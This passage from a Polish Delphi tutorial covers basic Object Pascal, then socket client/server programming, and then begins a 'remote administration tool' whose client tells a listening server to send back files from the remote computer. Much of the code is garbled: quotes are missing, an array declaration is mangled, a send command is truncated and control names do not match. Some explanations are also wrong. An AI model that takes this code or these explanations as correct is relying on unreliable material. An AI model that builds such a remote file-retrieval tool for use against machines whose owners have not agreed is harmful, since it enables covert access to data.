if i = 15 then
begin
Memo1.Lines.Add('** Wartość i to 15! **');
end;
Memo1.Lines.Add(Wartość w Edit1 jest większa niż 10.);
end
else begin
Memo1.Lines.Add(Wartość w Edit1 nie jest większa niż 10.);
end;
end;
Tak więc if "i" jest większe niż 10 then wpisujemy pierwszy blok kodu gdzie jest sprawdzane inne if. Jeśli ta instrukcja jest True, wtedy wchodzimy do bloku kou if. Kiedy opuścimy ten blok kodu po jego end; - mamy jeszcze do wykonania linię poniżej ponieważ jest częścią naszego pierwszego bloku kodu (ponieważ i jest większe niż 10), ale opuścimy ją - przeskoczymy do sekcji else.
Tablice
Tablica jest zbiorem wartości . Jest zmienną, ale czasami zamiast używania 5 zmiennych łańcuchowych, możemy chcieć użyć tablicy typów łańcuchowych dla przechowania wszystkich 5 łańcuchów. Oto przykład deklaracji:
var
MyArray ; array[0
4] of string
Mamy więc zadeklarowaną tablicę w sekcji var, i mamy ją zadeklarowaną z 5 ciągami łańcuchowymi. W Object Pascalu (jak i w innych językach programowania) są zerowe, więc 0 będzie pierwszym indeksem tablicy. Object Pascal - jest to język w jakim kodujemy. Możemy używać Delphi, który jest całym pakietem - Komponenty i wszystko inne, ale kod rzeczywisty jest w Object Pascalu. Tu mamy pokazane jak przypisać łańcuchy do tablicy:
MyArray[0] := 'To jest pierwszy łańcuch w tablicy';
MyArray[1] := 'To jest drugi łańcuch w tablicy';
MyArray[2] := 'To jest trzeci łańcuch w tablicy';
MyArray[3] := 'To jest czwarty łańcuch w tablicy';
MyArray[4] := 'To jest piąty łańcuch w tablicy';
Do pracy z pewnym ciągu znakowym, używamy nazwy tablicy (MyArray) i indeksu łańcucha w nawiasach klamrowych. Na przykład : Memo1.Lines.Add('Dane w trzecim indeksie tablicy : ' + MyArray[2]);
Pętle
Pętle są używane kiedy chcemy zrobić coś pewną ilość razy, dopóki nie napotkamy warunku, lub dla kilku innych powodów. Są trzy główne typy pętli, for, while i repeat. Omówimy każdą oddzielnie
Pętla for
Bardzo powszechnie używana. Zaczniemy nowy projekt i wstawiamy Button i Memo na formularzu. Oprogramujemy zdarzenie OnClick Buttona:
procedure TForm1.Button1Click(Sender: TObject);
var
int: integer;
begin
Memo1.Clear; { To jest czyszczenie Memo }
for int := 1 to 10 do
begin
Memo1.Lines.Add(IntToStr(int) + ' razy przez pętle.');
end;
end;
Co my tu mamy? Od 1 do10 razy wykonuje się to co znajduje się między begin a end; .Za pierwszym razem przypisuje do "int" 1 a przy każdym przejściu pętli "int" jest zwiększane o 1.
Pętla while
Pętla while będzie się wykonywać dopóki warunek jest spełniony. Kiedy warunek zostanie ustawiony na False, pętla jest kończona
procedure TForm1.Button1Click(Sender: TObject);
var
int: integer;
begin
Memo1.Clear;
int := 1;
while int <> 10 do
begin
Memo1.Lines.Add(IntToStr(int) + ' razy przez pętlę.');
Inc(int); { zwiększanie int o 1 }
end;
end;
Ta pętla wykona się 9 razy, za 9-tym razem int jest zwiększane o 1 i jest równe 10. Oczywiście warunek tu ustawiony to while int is not (<>) 1, więc kiedy równa się 10 ,wtedy warunek staje się False i pętla się kończy
Pętla repeat
Bardzo podobna do pętli while ale warunek jest sprawdzany na końcu pętli, zamiast na początku jak w pętli while. Np.
repeat {będziemy zwiększać o 1 przed powtórzeniem}
Memo1.Lines.Add(IntToStr(int) + ' razy przez pętlę.');
Inc(int);
until int = 10;
Uwaga. Jeśli użyjemy 'Break' gdzieś w pętli, zakończy się pętla - wyjście z pętli w miejscu Break
Funkcje i procedury
To jest ważny punkt ponieważ funkcje i procedury będą tworzyć ciało naszych programów.
Są to podprogramy, które można wywołać dla wykonania określonego zadania
Procedury
Wstawmy Button i Memo na formatkę i stwórzmy OnClick Buttona :
procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Lines.Add('O wywołaniu procedury..');
HelloWorld;
Memo1.Lines.Add('Kontynuujemy tu kiedy procedura wykonała'
+ ' swoje zadanie.');
end;
Kiedy skompilujemy to, otrzymamy błąd kompilacji : Undeclared identifier 'HelloWorld'.
Wyświetli się białe pole pod edytorem kodu pokazujące błędy kompilacji. Napiszmy nasz kod HelloWorld :
procedure TForm1.HelloWorld;
begin
ShowMessage('Hello world!');
end;
Wstawimy tą procedurę gdzieś w Unit po implementation ale przed końcowym end;. Teraz spróbujmy skompilować. OK, jest jeszcze niezadeklarowane ponieważ napisaliśmy kod ale nie zadeklarowaliśmy ,że będziemy korzystać z tej procedury w naszej Form1. Dekalrujemy procedury w klasie Form1 w sekcji type Unitu. Przewiń w górę, aby zobaczyć przykład - procedurę przycisku. Poniżej umieśćmy : procedurę HelloWorld; - przed słowem kluczowym private. Mamy w procedurze mamy 'TForm1', lae nie w deklaracji procedury. To dlatego ,że w deklaracji , deklarujemy ,że będzie to składowa klasy TForm1. Skompilujmy i przetestujmy to. Procedura jest podprogramem który nie zwraca żadnej wartości (nie zwraca wartości wynikowej) .Może jednak akceptować wartości - które są nazywane parametrami. Ta procedura akceptuje parametry całkowite:
procedure TForm1.DoubleIt(var ValueToDouble: integer);
begin
ValueToDouble := ValueToDouble * 2;
end;
Aby pozwolić procedurze na zaakceptowanie wartości i by mogła zmieniać tą wartość musimy zadeklarować ją jako zmienną typu jaki chcemy aby akceptowała - integer w naszym przypadku. Zrobimy to wewnątrz pary nawiasów okrągłych ,jak pokazano. Oto jak przekazać tej procedurze parametr:
procedure TForm1.Button1Click(Sender: TObject);
var
AnInteger: integer;
begin
AnInteger := 5;
DoubleIt(AnInteger); // Tu przekazujemy 'AnInteger' do DoubleIt
Memo1.Lines.Add(IntToStr(AnInteger)); // Wypróbujmy to bez IntToStr - co się stanie?
end;
Jeśli nie zadeklarujemy takiej procedury otrzymamy błąd kompilatora. Wstawmu tą linie przed słowem kluczowym private:
procedure DoubleIt(var ValueToDouble: integer);
Co się dzieje? = 'AnInteger' ma przypisane 5 a potem przekazuje to do procedury DoubleIt. Parametr DoubleIt 'ValueToDouble' teraz przechowuje referencję do komórki pamięci zmienne 'AnInteger' na dysku twardym. Jeśli manipulujemy ValueToDouble , jak tu, mnożymy przez 2 - manipulujemy AnInteger
Funkcje
Wspomnieliśmy ,że procedure nie zwraca żadnej wartości. Różnica polega na tym ,żer funkcja to robi, i może również akceptować parametry. Umieśćmy 2 komponenty Edit na formatce i Button. Oto nasz kod funkcji:
function TForm1.Multiply(Int1, Int2: integer): integer;
begin
Result := Int1 * Int2;
end;
Deklarujemy ją jak zwykle - będzie to linia (od function do begin..) : function Multiply(Int1, Int2: integer): integer; (..ale bez 'TForm1') i tworzymy obsługę zdarzenia OnClick dla Buttona tym kodem:
procedure TForm1.Button1Click(Sender: TObject);
var
ReturnValue: integer;
Ed1: integer;
Ed2: integer;
begin
Ed1 := StrToInt(Edit1.Text);
Ed2 := StrToInt(Edit2.Text);
ReturnValue := Multiply(Ed1, Ed2);
Memo1.Lines.Add(IntToStr(ReturnValue));
end;
Przetestujmy to. Musimy oczywiście wstawić liczbę w każdym polu Edit w czasie uruchamiania.Zwróć uwagę ,że nie ma var w parametrze w nawiasach funkcji. Jest tak ponieważ chcemy móc przekazać mu rzeczywiste liczby a nie tylko zmienne jak robiliśmy to przy procedurze. Ponadto, funkcja akceptuje dwa parametry. Składnia dla akceptacji więcej niż jednego parametru to : (Nazwa_Pierwsza , Nazwa_Druga : Typ_Danej). Na końcu naszej funkcji mamy typ danej jaki musi być zwracany ' : integer' oznacza ,że 'Result' będzie typu integer. Co to 'Result' : Jest zmienna zarezerwowana dla przypisania wyniku działania funkcji. Musi być zadeklarowana w ten sam sposób jak inne zmienne, ale jest deklarowana przez kompilator. Wywołanie funkcji będzie przechowywać wartość zwracaną w pewnym sensie. Więc jeśli przypiszemy zmienną do wywołania funkcji :
ReturnValue := Multiply(Ed1, Ed2); - nadajemy jej wartość Result. Multiple(Ed1, Ed2); jest naszym wywołaniem funkcji i pokazuje jak przekazać dwa parametry - oddzielone od siebie przecinkiem. Oczywiście ReturnValue będzie zawierała teraz wartość całkowitą, ponieważ jest to to co zwraca funkcja. Nie możemy dodać liczb całkowitych do Memo ponieważ będzie akceptować tylko łańcuchy znaków, więc musimy użyć funkcji StrToInt (). Skąd ona się bierze? Nie musimy jej kodować. To prawda, a to prowadzi nas do kolejnego tematu - listy uses
Lista uses
Dotychczas używaliśmy tylko jednego Unitu w naszych aplikacjach. Można jednak dodać dodatkowe Unity. Być może mamy wiele podprogramów (procedur i funkcji), których nie chcesz mieć w głównym Unicie, jednak trzeba je wywołać dla wykonania określonych zadań. Możesz stworzyć drugi Unit i wypełnić go tymi podprogramami a potem powiązać główny Unit z kodem tego Unitu, możesz wstawić nazwę tego Unitu do listy uses. Przewiń w górę Unit1.pas. Sekcja uses jest tam gdzie wstawiamy nazwę Unitu jakiego chcesz użyć w swoim kodzie. Wypróbujmy to - File , New, Unit i wstaw funkcję Multiply w sekcji implementation. Deklaracja będzie w sekcji interface, i zauważ ,że nie używamy 'TForm1' w tym Unicie. Wróćmy do Unit1 i wstawmy Unit2 na liście uses: Wstaw przecinek na końcu ostaniego Unitu na liście a potem dodaj 'Unit2'. Delphi zawiera dużą bibliotekę wcześniej napisanych funkcji, procedur, metod, obiektów, klas, komponentów (Visual Component Library (VCL)) wspomagających naszą pracę. Można zobaczyć kilka w sekcji
uses takie jak Windows, Messages, SysUtils. Wszystkie one zawierają kod którego możemy używać w naszej aplikacji. Wróćmy do StrToInt() - przytrzymaj myszkę nad nią przez sekundę. Pokaże się linia mówiąca ,że jest to funkcja w SysUtils.pas, która jest jednym z Unitów na naszej liście uses. Jest to dobra wiadomość ponieważ konwersja ze string na integer mogą zająć całą stronę lub więcej kodowania, ale mamy tam już odpowiednią funkcję do tego.
Inne przydatne podprogramy:
Widzieliśmy już StrToInt (), cóż IntToStr() jest jej przeciwieństwem. Poniżej mamy kilka przydatnych podprogramów. Pamiętaj aby uzyskać więcej informacji o typie podprogramu, zaznacz ją i naciśnij F1 w Delphi.
Pos (): Ta funkcja zwraca pozycję (ideks) ciągu znaków wewnątrz ciągu znaków:
var
PosInteger: integer;
begin
S := 'abcdefgh';
PosInteger := Pos('d', S);
Memo1.Lines.Add(IntToStr(PosInteger));
Zmiennej PosInteger będzie przypisane 4 , ponieważ jest to pozycja 'd' w S. Możesz również zrobić coś takiego:
Memo1.Lines.Add( IntToStr( Pos('ef', S) ) );
Tu dodajemy 5 do Memo ponieważ jest to pozycja 'ef' w ciągu znaków S.
Copy () : Ta funkcja zwraca kopię pewnej części ciągu znaków. Zadeklarujemy inny ciąg znaków 'SytringBit' i użyjemy powyższego kodu:
StringBit := Copy(S, 2, 5);
Memo1.Lines.Add(StringBit);
Funkcja Copy akceptuje trzy parametry. Pierwszym będzie zmienna string, drugą będzie indeks od którego chcemy kopiować, a trzecim ile znaków chcemy skopiować. Nie należy mylić trzeciego parametru z innym indeksem. Mówimy, zaczynamy od 2 ('b') i przechodzimy do 5 znaku ('f') i kopiujemy ten kawałek. Dostajemy 'bcdef'
Delete () : Procedura , która usuwa sekcję ciągu znaków. Jeśli mamy ASTringVar zawierającą 'TenCiągZnakówPrzypisanoDoAStringVar' i chcemy usunąć 'Znaków', użyjemy Delete ():
Delete(AStringVar, 8, 6);
Memo1.Lines.Add(AStringVar);
Parametry Delete () działają w ten sam sposób jak Copy (). Pierwszy będzie ciągiem znaków, drugi indeksem a trzeci ile znaków mamy do usunięcia. Zauważ ,że nie możemy zrobić : Memo1.Lines.Add((AStringVar, 8, 6)); - ponieważ jest to procedura, która nie zwraca wartości.
Length () : Funkcja, która zwraca liczbę znaków w ciągu znaków lub elementów w tablicy. Głównie będziemy jej używać z ciągami znaków. Jeśli AStirnVar zawiera : 'TenCiągZnakówPrzypisanoDoAStringVar' - i zrobimy :
Memo1.Lines.Add(IntToStr(Length(AStringVar)));
Otrzymamy 35 , ponieważ jest 35 znaków w AStringVar
Inc () : Jest to procedura która zwiększa wartość
FileExists () : Ta funkcja sprawdza czy pewien parametr pliku przekazany do niej istnieje na dysku twardym:
if FileExists('c:\file.txt') = True then
begin
Memo1.Lines.Add('Plik istnieje!');
end
else begin
Memo1.Lines.Add('Plik nie istnieje');
end;
Ponieważ FileExists zwraca wartość logiczną - True jeśli plik istnieje i False jeśli nie istnieje, możemy wykonać powyższe do sprawdzenia. Plik jaki przekazaliśmy może być zmienną string zawierająca nazwę i ścieżkę do pliku, lub być może FileExists(Edit1.Text)
DeleteFile () : Funkcja jest wywoływana w ten sam sposób co FileExists () - jednakże będzie usuwłaa plik z dysku. Jeśli plik został usunięty, funkcja zwróci True. Jeśli funkcja nie może usunąć pliku lub nie istnieje, funkcja zawraca False.
Zdarzenia
Microsoft Windows jest środowiskiem sterowanym zdarzeniami. Oznacza to ,że kiedy wystąpi zdarzenie, Windows wysyła do programu komunikat Windows informujący program o zdarzeniu które wystąpiło. Może to być naciśnięcie klawisza, kliknięcie myszką itp. W VCL (Visual Component Librabry) - zdarzenia komponentów z palety Component Delphi, są listowane w zakładce Events Object Inspectora. Są one 'wyzwalane' lub 'odpalane' jako wynik działania komponentu. Używaliśmy już zdarzenia OnClick komponentu Button. Wygenerowany kod kiedy tworzy się to zdarzenie jest metoda wywołująca obsługę zdarzenia. Obsługa zdarzenia - wykonywanie kodu wewnątrz tej obsługi zdarzenia kiedy zdarzanie jest 'odpalane'. Przyjrzyjmy się jakimś innym zdarzeniom na formatce. Pominiemy Action, Active Control itp. - skupimy się na On
. Możemy kliknąć na określone zdarzenie i nacisnąć F1 aby mieć podgląd na pomoc o tym zdarzeniu
OnCreate : Występuje kiedy formatka jest tworzona początkowo. Będzie odpalane tylko raz ponieważ formatka jest tworzona tylko raz. Użyjemy tego wydarzenia do zrobienia czegośco ma być zrobione, gdy formularz jest tworzony
OnKeyDown: Jeśli formatka jest naszym aktywnym oknem a użytkownik naciśnie klawisz, to zdarzenie jest uruchamiane
OnKeyPress: Podobne jak zadarzenie OnKeyDown, ale to zdarzenie nie daje pełnego zakresu klawiszy
Aby stworzyć obsługę zdarzenia dla zdarzenie wpisujemy nazwę w białym polu obok zdarzenia i naciskamy enter. Lub , można kliknąć dwukrotnie na zdarzeniu , które wygeneruje nazwę dla nas
Windows Application Programming Interface (API)
Jest to duży zbiór funkcji Windows napisanych w języku C , który daje nam dodatkową funkcjonalność kiedy nie możemy osiągnąć jej z VCL. Możemy zrobić coś co się nazywa wywołaniem API do funkcji jakiej chcesz użyć. Robimy to w ten sam sposób jak wywołanie innych funkcji Delphi. Oto przykład jak zamknąć Windows używając funkcji API ExitWindowsEx:
ExitWindowSEx(EWX_FORCE or EWX_SHUTDOWN, 0);
To wywołanie zamknie Windows .Należy go stosować w ostateczności ponieważ może to potencjalnie uszkodzić dane.
PChars
Jeśli chcemy używać ciągów znaków w funkcjach Windows musimy użyć czegoś co nazywa się PChar. Windows został napisany w języku C, który nie posiada typu danych string. Używa tablicy znaków jako string. Na końcu tablicy znaków jest zero (null terminator : 0) dla zaznaczenia końca ciągu znaków. Czasami w Delphi, możemy pracować z funkcjami Windows API, które wymagają tablicy znaków jako parametru. Nie będziemy mogli przekazać jej jako string, w zamian użyjemy PChar. Oto przykład zastosoania wywołania Copy File Windows API:
CopyFile(PChar('c:\file.bmp'), PChar('c:\folder\file.bmp'), TRUE);
Zmienne globalne
Zmienne jakich używaliśmy dotąd były zmiennymi lokalnymi. Są lokalne dla procedur w których są zadeklarowane, dlatego też jeśli mamy dwie procedury, nie będzie można użyć zmiennych zadeklarowanych w pierwszej procedurze w drugiej procedurze. Oto przykład , wstawiamy dwa Buttony i Memo na formatkę :
procedure TForm1.Button1Click(Sender: TObject);
var
StrVar: string;
begin
StrVar := 'String przypisany do zmiennej lokalnej StrVar';
Memo1.Lines.Add(StrVar);
end;
To działa dobrze ponieważ StrVar jest zadeklarowana lokalnie w tej procedurze. Jeśli spróbujemy zrobić to co poniżej w zdarzeniu OnClick Button2:
procedure TForm1.Button2Click(Sender: TObject);
begin
StrVar := 'przypiszmy to do ciągu znaków';
Memo1.Lines.Add(StrVar);
end;
Otrzymamy błąd kompilacji mówiący : Niezadeklarowany identyfikator'StrVar'. Deklarujemy wtedy StrVAr globalnie - każda procedura może jej używać. Zrobimy to w sekcji private Unitu.
Wyjmujemy sekcję var z kodu zdarzenia OnClick Button1 a zamiast tego, wstawiamy deklarację StrVar w sekcji private :
private
{ Deklaracje prywatne }
StrVar: string;
Teraz kompilujemy to i testujemy przyciski.
Stringlists
Można o tym myśleć jako tablicy stringów ale z dodanymi funkcjami. To jest to co nazywamy Obiektem i używamy go tak:
procedure TForm1.Button1Click(Sender: TObject);
var
SL: TStringList;
begin
SL := TStringList.Create; // Tu tworzymu Listę
SL.Add(String dodany do listy');
SL.Add(Inny string dodany do listy');
Memo1.Lines.Add(SL.Text);
SL.Free; // Tu zwalniamy pamięć
end;
Deklarujemy go a potem tworzymy Możemy dodać ciągi znaków do nieco metodą .Add, ale kiedy kończymy jego stosowanie, powinniśmy użyć metody .Free dla zwolnienia go z pamięci komputera.
Tu mamy kilka innych rzeczy jakie możemy zrobić ze StringList:
.Sort : sortowanie alfabetyczne StringList
.Clear : czyści zawartość StringList. Nie mylić z Free
.Count : metoda która zwraca wartość całkowita liczby ciągów znakowych w StringList
.IndexOf : zwraca indeks pierwszego wystąpienia ciągu znaków w StringList. Jest oparty o zero, więc jeśli ciąg znaków jaki szukaliśmy był pierwszym ciągim w StringList, 0 byłoby zwracane. Jeśli ciąg znaków nie został znaleziony na liście , zwraca -1.
.LoadFromFile : wypełnia listę zawartością pliku tekstowego
Try
except
Ten typ instrukcji jest sposobem obsługi wyjątków. Wróćmy do naszego programu gdzie mieliśmy Edit i Button, a kiedy klikaliśmy w przycisk, sprawdzano czy wartość w Edit była większa niż 10. To był przykład if, then, else. Dokonaliśmy wywołania funkcji StrToInt, i jeśli mieliśmy coś w Edit , co nie dało się skonwertować na typ integer, wtedy Windows wyświetlał błąd. Aby przezwyciężyć pojawiające się błędy, możemy zmienić kod używając instrukcji try
except
end; :
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
try {...rozpatrujemy wszystko co jest między...}
i := StrToInt(Edit1.Text);
if i > 10 then
begin
Memo1.Lines.Add('Wartość w Edit1 jest większa niż 10.');
end
else begin
Memo1.Lines.Add('Wartość w Edit1 nie jest większa niż10.');
end;
except {...a tu...}
Memo1.Lines.Add('Bład.');
end; {jeśli nie można zrobić czegoś - wykonuje się blok except}
end
To powinno być zrozumiałe. Nie chcemy aby pojawiały się komunikaty Windows. Jeśli nie możemy czegoś zrobić w bloku try , except, tak jak wywołanie funkcji StrToInt, wtedy wykonywany jest wyjątek - między except a end;
Właściwość Name
Do tej pory używaliśmy nazw domyślnych naszych komponentów, takich jak Edit1 itp. Możemy jednak zmienić nazwę komponentu używając właściwości Name. Wstawmy komponent Memo na formatkę i zmieńmy jej nazwę na 'MojeMemo', Teraz kiedy zechcemy pracować z tym Memo, będziemy używali nazwy którą do niego przypisali. Np. :
MojeMemo.Lines.Add('Dodajmy to do Memo');
File Stream i Memory Stream
Delphi pozwala nam używać specjalnego strumienia Obiektów do odczytu i zapisu do nośnika pamięci takiego jak dyskietka TFileStream pozwala na pracować z plikami a TMemoryStream pozwala nam na przechowywanie danych w pamięci dynamicznej. Umieśćmy 2 Mema i przycisk na formatce. Oto zdarzenie OnClick przycisku:
procedure TForm1.Button1Click(Sender: TObject);
var
MemStream: TMemoryStream;
begin
MemStream := TMemoryStream.Create;
Memo1.Lines.SaveToStream(MemStream);
MemStream.Position := 0;
Memo2.Lines.LoadFromStream(MemStream);
MemStream.Free;
end;
To co tu robimy to deklarowanie TMemoryStream nazwanego MemStream w sekcji var. Potem tworzymy Obiekt MemoryStream (.Create). Zapisujemy wszystkie dane w naszym Memo1 do MemStream (to zapisuje dane jako pamięć dynamiczna w systemie - RAM) Teraz ustawimy właściwość 'Position' z powrotem na początek naszego MemStream. Używamy metody LoadFromFile i ładujemy zawartość naszego MemStream do Memo2 i na koniec zwalniamy obiekt TMemoryStream. Musimy zwolnić obiekty z pamięci aby nie marnować zasobów pamięci.
'Position' - Ta właściwość może być używana dla uzyskania bieżącej pozycji w bajtach od początku strumieniowania danych. Ważne jest ustawienie pozycji na 0 jeśli chcemy pracować z danymi od początku do końca strumieniowania danych
TCP/IP
Protokół jest podstawowym zbiorem zasad, które pozwalają na komunikację między dwoma urządzeniami. TCP/IP jest skrótem od TransmissionControl Protocol / Internet Protocol. Protokół IP działa z pakietami a TCP zezwala dwóm hostom na ustanawianie połączenia dla transferu danych przez to połączenie, Napiszemy naszą aplikację używając tego protokołu.
Tworzenie aplikacji klient/serwer
Uruchamiamy dwie instancje Delphi. Użyjemy jednej dla Klienta a drugą dla Serwera. Zmieńmy nagłówek pierwszej formatki na "Klient", drugiej zmieńmy nagłówek na "Serwer". Jeśli spojrzymy na zakładkę Internet palety komponentów zobaczymy komponenty ClientSocket i ServerSocket. Umieszczamy komponent ClientSocket na formatce klienta, a ServerSocekt na formatce serwera. Ich położenie nie ma znaczenia ponieważ są to komponenty nieiwzualne
Klient
Umieszczamy 2 pola Edit, 2 przyciski i Label na formatce. Zmieniamy właściwość Text Edit1 na '127.0.0.1' (lokalne IP). Zmieniamy właściwość Caption Button1 na 'Połącz'. Zmieniamy właściwość Caption Button1 na 'Rozłącz'. Usuwamy tekst z właściwości Text Edit2. Teraz klikamy na komponcie ClientSocekt i zmieniamy właściwość port na '55555' (może być dowolny port jaki chcesz , byle nie wchodził w konflikt z innym numerami portów - np. 80 jest używany dla http .Zdarzenie OnClick dla przycisku połączenia:
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address := Edit1.Text;
ClientSocket1.Active := True;
end;
Ustawiamy właściwość Address ClientSocket na tekst w Edit1. Właściwość Address jest adresem IP z jakim chcesz się połączyć. Po drugie ustawiamy właściwość Active na True - co oznacza ,że będzie próbował się połączyć do właściwości Port i Address jakie określiliśmy. Wiemy kiedy ustanowiliśmy połączenie ponieważ wyzwolone zostało zdarzenie OnConnect ClientSocket. Tworzymy to zdarzenie i wstawiamy :
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label1.Caption := 'Connected!';
Button1.Enabled := False;
Button2.Enabled := True;
end;
Właściwość Enabled włącza i wyłącza komponent. Nasz przycisk Rozłącz :
procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Active := False;
end;
Tu rozłączamy połączenie. ClientSocekt ma zadarzenie nazwane OnDisconnect, które jest wyzwalane kiedy jesteśmy rozłączeni:
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label1.Caption := 'Disconnected';
Button1.Enabled := True;
Button2.Enabled := False;
end;
Teraz Edit2. Tworzymy zdarzenie OnKeyDown dla niego:
procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Key = VK_RETURN) then
begin
ClientSocket1.Socket.SendText(Edit2.Text);
end;
end;
To zdarzenie będzie wyzwalane za każdym razem kiedy naciskamy klawisz kiedy kursor znajduje się w polu Edit2, i za każdym kiery sprawdzamy ten warunek : if (Key = VK_RETURN). Wykona się tylko to co jest między begin a end; jeśli klawisz to VK_RETURN - co jest Kodem wirtualnym dla klawisza Enter. Można powiedzieć ,że jeśli naciskamy enter kiedy kursor znajduje się w polu Edit2, wtedy wysyłamy tekst z Edit2 do hosta z jakim jesteśmy połączeni. Robi to ClientSocket1.Socket.SendText ().
Serwer
Umieszczamy Button i Label na formatce. Ustawiamy właściwość Port ServerSocket na '55555' - musi być taki sam jak port Klienta. Zmieniamy nagłówek Labela na : "Nie aktywne obecnie" i zmieniamy nagłówek Buttona na "Nasłuchiwanie dla połączenia". Teraz tworzymy obsługę zdarzenia OnClick Buttona:
procedure TForm1.Button1Click(Sender: TObject);
begin
ServerSocket1.Active := True;
Label1.Caption := 'Listening for connections.';
end;
Tu ustawiamy właściwość Active ServerSocket na True, co otwiera Port jaki określiliśmy jako nasłuchujący. Jest to przeciwieństwo właściwości Active ClientSocket która będzie próbowała się łączyć z hostem. Tworzymy zdarzenie OnClienRead dla ServerSocekt, które będzie wyzwalane kiedy coś jest odczytywane od klienta - kiedy odbiera jakieś dane od klienta. Zróbmy coś takiego:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Label1.Caption := Socket.ReceiveText;
end;
Połączyliśmy już nagłówek Labela z Socket.ReceiveText, która jest metodą która odczytuje tekst odebrany z połączenia. Teraz zapiszemy naszego klienta w oddzielnym folderze (np. c:\klient) a serwer w innym (np. c:\serwer) Skompilujemy każdy i przetestujmy je. Będziemy mogli połączyć się z serwerem , chyba ,że nasłuchuje ,co włączamy klikając jego przycisk - czy jest to komputer lokalny czy sieciowy, wstawiamy jego IP i klikamy Połącz. Wpisz jakiś tekst do pustego pola Edit (Edit2) i naciśnij enter. Wyśle to do serwera , który wyświetli go używając Labela.
Sekcja główna
W tej części opiszemy nowe rzeczy jakie się pojawią, ale tematy z części dal początkujących nie zostaną omówione szczegółowiej. Każda podpozycja będzie zawierała nowe funkcjonalności jakie można dodawać do naszej aplikacji. Pamiętaj, że podajmy tylko informacje o sposobach zrobienia pewnych rzeczy.
Programowanie naszego narzędzia zdalnej administracji
Otwórzmy dwie kopie Delphi. Będziemy używać jednej do pracy po stronie Klienta naszej aplikacji a drugi do pracy z naszym serwerem. Przejdźmy do pierwszej formatki i zmień nagłówek do 'Klient - Brak Połączenia' . Teraz przechodzimy do drugiej formatki i zmieniamy nagłówek na 'Serwer'. Wstawmy komponent ClientSocekt na formatkę Klient i komponent ServerSocket na formatkę Serwer. Ustawmy Port na obu gniazdach na port na jakim będziemy uruchamiać naszą aktywację. Zapiszmy te dwie aplikacje w dwóch oddzielnych folderach.
Klient
Umieśćmy Edit, Memo i dwa Buttony na formatce. Zmień nazwę Edita na 'IPBox' i możesz zmienić jego nagłówek na IP komputera z jakim będziemy połączeni do testowania (być może : 127.0.0.1) .Nagłówek pierwszego Buttona zmieniamy na 'Połącz' a drugi na 'Rozłącz'. Wstawiamy to do zdarzenia OnCreate formatki:
Memo1.Clear;
Jest tak ponieważ domyślnie nasze Memo ma zapisaną nazwę w sobie. Nie potrzebujemy wyświetlać tego , więc usuwamy to kiedy nasza aplikacja startuje. Pozwólmy aby nasz przycisk coś robił. Chcemy użyć obsługi wyjątków z try
except, ponieważ jeśli użytkownik wstawi coś innego niż IP, Windows wyświetli błąd. Więc wstawiamy to do zdarzenia OnClick:
try
ClientSocket1.Address := IPBox.Text;
ClientSocket1.Active := True;
except
Memo1.Lines.Add('** Error Connecting.');
end;
Zrobimy zmianę nagłówka formatki kiedy jesteśmy połączeni (zdarzenie OnConnect):
Form1.Caption := 'Klient - Połączenie Ustanowione;
A dla OnDisconnect : Form1.Caption := 'Klient - Brak Połączenia;
Chcemy aby nasz przycisk Disconnect w rzeczywistości rozłączał od hosta użyjemy kodu : ClientSocket1.Active := False;
Można dodać linię do Memo mówiące 'Połączono
' albo coś podobnego. Zróbmy to w zdarzeniu OnConnecting ClientSocket. Teraz jeśli nasz Klient nie może połączyć się z serwerem z różnych powodów, będzie wyzwalane zdarzenie OnError ClientSocket. Teraz jeśli nie mamy stworzonego tego zdarzenia otrzymamy stare pole błędu Windows, którego chcielibyśmy uniknąć. Zrobimy zdarzenie OnError
.:
Memo1.Lines.Add('** Error: ' + IntToStr(ErrorCode));
ErrorCode := 0;
Wtedy to co nazywamy ErrorCode będzie dodane do Memo. ErrorCode jest tylko kodem generowanym w którym kod liczbowy wskazuje typ błędu jaki wystąpił. Ustawienie ErrorCode na 0 zatrzymuje pojawianie się komunikatu błędu Windows. Innym pomysłem jest wyłączenie przycisku Rozłącz (właściwość Enabled ustawiona na False) w czasie projektowania a potem włączamy go kiedy jesteśmy połączeni.
Serwer
Pamiętajmy o ustawieniu Server Port na ten sam portc o Client Port. Teraz po zmianie właściwości ServerSocket Active na True, w czasie wykonywania serwer zacznie nasłuch na połączenia minutę po uruchomieniu. Więc zróbmy to a następnie skompilujmy każdą część aplikacji i przetestujmy ją. OK, nie robi to wiele, ale pozwala nam upewnić się ,że zakodowaliśmy ją poprawnie.
Jak ściągną plik w serwera
Strona Klienta
Umieśćmy dwa pola Edit, Button i ProgressBar na formatce. ProgressBar można znaleźć w zakładce Win32 palety komponentów. Zmieniamy właściwość Name pierwszego Edita na 'DoPobrania' a drugi Edit 'PobierzJako'. Wyczyśćmy każdą właściwość Text. Możemy wstawić parę Labeli na formatkę dla wskazania który Edit jest który. Zmieniamy nazwę ProgressBar na PBar i zmieńmy nagłówek Buttona na 'Pobieranie'. Kod OnClick przycisku Pobieranie:
if ClientSocket1.Active then { Jeśli jesteśmy połączeni z hostem }
begin
RemoteFile := ToDownload.Text;
StoredLocalAs := DownloadAs.Text;
ClientSocket1.Socket.SendText('
end;
Będziemy musieli zadeklarować RemoteFile i StoredLocalAs jako globalne zmienne string. Globalne, ponieważ później będziemy ich używać w innych procedurach. Linia SendText będzie wysyłał coś jak to do serwera:
Strona Serwera
Nie możemy użyć teraz ReceiveText w zdarzeniu OnClientRead ServerSocket. Ma tylko możliwość odbierania Text (ciągu znaków) - musimy również móc odbierać inny typ danych. Zrobimy zdarzenie OnClientRead ServerSocket :
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
Buf : string;
MsgLen, {Przecinek jest tylko sposobem deklalrowania dwóch liczb całkowitych }
LenReceived: integer; {Np: int1,int2,int3: integer; }
begin
{1} MsgLen := Socket.ReceiveLength;
{2} SetLength( Buf, MsgLen );
{3} LenReceived := Socket.ReceiveBuf( Buf[1], MsgLen );
